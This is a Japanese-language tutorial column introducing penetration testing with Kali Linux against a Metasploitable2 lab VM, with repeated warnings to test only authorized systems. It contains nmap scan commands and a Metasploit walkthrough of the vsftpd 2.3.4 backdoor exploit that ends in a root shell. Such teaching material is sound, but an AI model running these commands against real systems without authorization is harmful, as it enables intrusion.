一般社団法人 全国個人事業主支援協会

COLUMN コラム

  • ペネトレーションテスト入門:Kali Linuxで学ぶ脆弱性診断の基礎

ペネトレーションテストとは

ペネトレーションテスト(侵入テスト)とは、システムやネットワークに対して擬似的な攻撃を行い、セキュリティ上の脆弱性を発見する手法です。脆弱性診断が既知の脆弱性をスキャンで検出するのに対し、ペネトレーションテストは実際に攻撃者の視点で侵入を試み、脆弱性がどの程度悪用可能かまで検証します。

企業のセキュリティ対策において、ペネトレーションテストは不可欠な要素です。しかし、専門的な知識が必要なため、何から始めればよいか分からないエンジニアも多いでしょう。本記事では、Kali Linuxを使った基本的な脆弱性診断の手順を解説します。

重要な注意事項:ペネトレーションテストは、必ず許可を得た環境に対してのみ実施してください。許可なく他者のシステムに対してテストを行うことは、不正アクセス禁止法に抵触する違法行為です。本記事の内容は学習目的であり、自身が管理する環境またはCTF(Capture The Flag)などの合法的な環境で実践してください。

Kali Linuxの環境構築

Kali Linuxはペネトレーションテスト用に特化したLinuxディストリビューションで、600以上のセキュリティツールがプリインストールされています。VirtualBoxやVMwareで仮想マシンとして導入するのが安全で手軽です。

# VirtualBoxでのインストール後、まずシステムを最新化
sudo apt update && sudo apt upgrade -y

# テスト用の脆弱な仮想マシン(Metasploitable2)をダウンロード
# ※別途VirtualBoxにインポートして使用
# https://sourceforge.net/projects/metasploitable/

# ネットワーク設定:両方のVMを「ホストオンリーアダプター」に設定
# これにより外部ネットワークへの影響を防ぐ

学習環境としては、Kali Linux(攻撃側)とMetasploitable2(標的側)を同一のホストオンリーネットワーク上に配置する構成が定番です。

ペネトレーションテストの5つのフェーズ

フェーズ1:偵察(Reconnaissance)

最初のステップは、ターゲットに関する情報を収集することです。パッシブ偵察(直接アクセスしない情報収集)とアクティブ偵察(直接スキャンする情報収集)があります。

# ネットワーク上のホストを発見(アクティブ偵察)
nmap -sn 192.168.56.0/24

# 結果例:
# Nmap scan report for 192.168.56.101
# Host is up (0.00045s latency).

フェーズ2:スキャニング(Scanning)

ターゲットが特定できたら、開いているポートやサービスを詳細にスキャンします。

# ポートスキャンとサービス検出
nmap -sV -sC -O 192.168.56.101

# 結果例(一部):
# PORT STATE SERVICE VERSION
# 21/tcp open ftp vsftpd 2.3.4
# 22/tcp open ssh OpenSSH 4.7p1
# 80/tcp open http Apache httpd 2.2.8
# 445/tcp open netbios-ssn Samba smbd 3.X - 4.X
# 3306/tcp open mysql MySQL 5.0.51a

この結果から、各サービスのバージョン情報が分かります。古いバージョンのソフトウェアには既知の脆弱性が存在することが多く、次のフェーズでその脆弱性を特定します。

フェーズ3:脆弱性分析(Vulnerability Analysis)

スキャン結果をもとに、既知の脆弱性を調査します。上記の例では、vsftpd 2.3.4にはバックドアの脆弱性(CVE-2011-2523)が存在することが知られています。

# Metasploit Frameworkでの脆弱性検索
msfconsole
msf6 > search vsftpd

# 結果:
# exploit/unix/ftp/vsftpd_234_backdoor

フェーズ4:エクスプロイト(Exploitation)

発見した脆弱性を実際に悪用して、システムへの侵入を試みます。これがペネトレーションテストの核心部分です。

msf6 > use exploit/unix/ftp/vsftpd_234_backdoor
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 192.168.56.101
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit

# [*] Command shell session 1 opened
# シェルが取得できた場合
whoami
# root

このように、脆弱なバージョンのサービスが公開されていると、攻撃者にroot権限を奪取されてしまう可能性があります。

フェーズ5:報告(Reporting)

テスト結果を報告書にまとめることは、テスト実施と同等に重要です。報告書には以下を含めます。

  • エグゼクティブサマリー:経営層向けのリスク概要
  • 発見した脆弱性の一覧:CVSS スコアによる重大度分類
  • 攻撃手順の詳細:再現可能な手順の記録
  • 改善提案:具体的な対策と優先順位
  • 証跡:スクリーンショットやログ

ペネトレーションテストに必須のツール群

Kali Linuxには多数のツールが含まれていますが、まず覚えるべき主要ツールを紹介します。

  • Nmap:ネットワークスキャンの定番。ポートスキャン、サービス検出、OS検出が可能
  • Metasploit Framework:エクスプロイトフレームワーク。脆弱性の検証に不可欠
  • Burp Suite:Webアプリケーションの脆弱性診断ツール。プロキシ機能でHTTP通信を傍受・改変できる
  • Wireshark:ネットワークプロトコルアナライザ。通信内容の詳細分析が可能
  • John the Ripper:パスワードクラッキングツール。パスワード強度の検証に使用

学習の進め方

ペネトレーションテストのスキルを習得するには、継続的な学習と実践が不可欠です。以下のステップで進めることを推奨します。

  1. まずKali LinuxとMetasploitable2で基本操作を習得する
  2. TryHackMeやHack The Boxなどのオンラインプラットフォームで実践的な演習を行う
  3. OWASP Top 10を学習し、Webアプリケーションの脆弱性に精通する
  4. CEH(Certified Ethical Hacker)やOSCP(Offensive Security Certified Professional)などの資格取得を目指す

セキュリティは攻撃手法を知ることで初めて効果的な防御が可能になります。自身が管理するシステムを守るためにも、攻撃者の視点を理解することは非常に価値のある投資です。

この記事をシェアする

  • Twitterでシェア
  • Facebookでシェア
  • LINEでシェア